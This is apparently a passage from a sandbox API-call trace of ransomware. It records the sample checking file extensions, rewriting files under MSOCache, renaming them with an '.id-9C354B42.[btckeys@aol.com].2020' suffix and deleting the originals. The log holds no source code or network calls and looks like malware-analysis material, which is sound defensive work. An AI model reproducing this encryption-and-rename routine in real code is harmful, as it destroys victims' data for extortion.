[0076.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.724] lstrlenW (lpString=".dbf") returned 4 [0076.724] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.724] lstrlenW (lpString=".1cd") returned 4 [0076.724] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0076.724] lstrlenW (lpString=".jpg") returned 4 [0076.724] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.724] lstrcmpiW (lpString1=".manifest", lpString2=".2020") returned 1 [0076.724] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0076.724] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.756] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1857) returned 1 [0076.756] CloseHandle (hObject=0x20c) returned 1 [0076.757] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0076.757] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.757] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.757] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.757] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.757] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0076.827] GetLastError () returned 0x0 [0076.827] ReadFile (in: hFile=0x20c, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x741, lpOverlapped=0x0) returned 1 [0076.926] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x750, lpOverlapped=0x0) returned 1 [0076.927] ReadFile (in: hFile=0x20c, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.927] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0076.928] SetEndOfFile (hFile=0x1dc) returned 1 [0076.928] CloseHandle (hObject=0x1dc) returned 1 [0076.928] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.928] SetEndOfFile (hFile=0x20c) returned 1 [0076.929] CloseHandle (hObject=0x20c) returned 1 [0076.929] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0076.929] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0076.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.929] lstrlenW (lpString=".doc") returned 4 [0076.929] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0076.929] lstrlenW (lpString=".docx") returned 5 [0076.929] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0076.930] lstrlenW (lpString=".pdf") returned 4 [0076.930] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0076.930] lstrlenW (lpString=".xls") returned 4 [0076.930] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0076.930] lstrlenW (lpString=".xlsx") returned 5 [0076.930] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0076.930] lstrlenW (lpString=".ppt") returned 4 [0076.930] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0076.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.930] lstrlenW (lpString=".zip") returned 4 [0076.930] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0076.930] lstrlenW (lpString=".rar") returned 4 [0076.930] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0076.930] lstrlenW (lpString=".bz2") returned 4 [0076.930] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0076.930] lstrlenW (lpString=".7z") returned 3 [0076.930] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0076.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.930] lstrlenW (lpString=".dbf") returned 4 [0076.930] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0076.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.930] lstrlenW (lpString=".1cd") returned 4 [0076.930] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0076.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.930] lstrlenW (lpString=".jpg") returned 4 [0076.930] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0076.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.931] lstrlenW (lpString=".doc") returned 4 [0076.931] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0076.931] lstrlenW (lpString=".docx") returned 5 [0076.931] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0076.931] lstrlenW (lpString=".pdf") returned 4 [0076.931] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0076.931] lstrlenW (lpString=".xls") returned 4 [0076.931] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0076.931] lstrlenW (lpString=".xlsx") returned 5 [0076.931] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0076.931] lstrlenW (lpString=".ppt") returned 4 [0076.931] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0076.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.931] lstrlenW (lpString=".zip") returned 4 [0076.931] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0076.931] lstrlenW (lpString=".rar") returned 4 [0076.931] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0076.931] lstrlenW (lpString=".bz2") returned 4 [0076.931] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0076.931] lstrlenW (lpString=".7z") returned 3 [0076.931] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0076.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.931] lstrlenW (lpString=".dbf") returned 4 [0076.931] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0076.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.931] lstrlenW (lpString=".1cd") returned 4 [0076.931] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0076.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0076.931] lstrlenW (lpString=".jpg") returned 4 [0076.931] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0076.932] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0076.932] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0076.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.932] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=3702272) returned 1 [0076.932] CloseHandle (hObject=0x20c) returned 1 [0076.932] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0076.932] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.932] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0076.933] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.933] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0076.933] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0076.933] ReadFile (in: hFile=0x20c, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.979] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0076.979] ReadFile (in: hFile=0x20c, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.063] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.063] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.063] ReadFile (in: hFile=0x20c, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.080] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.081] WriteFile (in: hFile=0x20c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0077.289] SetEndOfFile (hFile=0x20c) returned 1 [0077.289] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ff4008 [0077.293] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.293] WriteFile (in: hFile=0x20c, lpBuffer=0x3ff4008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4008*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.353] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.353] WriteFile (in: hFile=0x20c, lpBuffer=0x3ff4008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4008*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.358] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.358] WriteFile (in: hFile=0x20c, lpBuffer=0x3ff4008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ff4008*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.425] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ff4008 | out: hHeap=0x4b0000) returned 1 [0077.426] CloseHandle (hObject=0x20c) returned 1 [0077.426] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.426] lstrlenW (lpString=".doc") returned 4 [0077.426] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.426] lstrlenW (lpString=".docx") returned 5 [0077.426] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.426] lstrlenW (lpString=".pdf") returned 4 [0077.427] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.427] lstrlenW (lpString=".xls") returned 4 [0077.427] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.427] lstrlenW (lpString=".xlsx") returned 5 [0077.427] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.427] lstrlenW (lpString=".ppt") returned 4 [0077.427] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.427] lstrlenW (lpString=".zip") returned 4 [0077.427] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.427] lstrlenW (lpString=".rar") returned 4 [0077.427] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.427] lstrlenW (lpString=".bz2") returned 4 [0077.427] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.427] lstrlenW (lpString=".7z") returned 3 [0077.427] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.427] lstrlenW (lpString=".dbf") returned 4 [0077.427] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.427] lstrlenW (lpString=".1cd") returned 4 [0077.427] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.427] lstrlenW (lpString=".jpg") returned 4 [0077.427] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.428] lstrlenW (lpString=".doc") returned 4 [0077.428] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.428] lstrlenW (lpString=".docx") returned 5 [0077.428] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.428] lstrlenW (lpString=".pdf") returned 4 [0077.428] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.428] lstrlenW (lpString=".xls") returned 4 [0077.428] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.428] lstrlenW (lpString=".xlsx") returned 5 [0077.428] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.428] lstrlenW (lpString=".ppt") returned 4 [0077.428] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.428] lstrlenW (lpString=".zip") returned 4 [0077.428] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.428] lstrlenW (lpString=".rar") returned 4 [0077.428] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.428] lstrlenW (lpString=".bz2") returned 4 [0077.428] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.428] lstrlenW (lpString=".7z") returned 3 [0077.428] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.428] lstrlenW (lpString=".dbf") returned 4 [0077.428] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.428] lstrlenW (lpString=".1cd") returned 4 [0077.428] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0077.429] lstrlenW (lpString=".jpg") returned 4 [0077.429] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.429] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0077.429] lstrlenW (lpString="Office32WW.msi") returned 14 [0077.429] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0077.429] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1992192) returned 1 [0077.429] CloseHandle (hObject=0x20c) returned 1 [0077.429] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0077.430] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.430] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0077.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0077.431] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0077.431] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.431] ReadFile (in: hFile=0x20c, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.571] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.571] ReadFile (in: hFile=0x20c, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.688] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.688] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.688] ReadFile (in: hFile=0x20c, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.857] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.857] WriteFile (in: hFile=0x20c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0078.014] SetEndOfFile (hFile=0x20c) returned 1 [0078.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0078.015] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.015] WriteFile (in: hFile=0x20c, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.016] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.016] WriteFile (in: hFile=0x20c, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.019] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.019] WriteFile (in: hFile=0x20c, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, 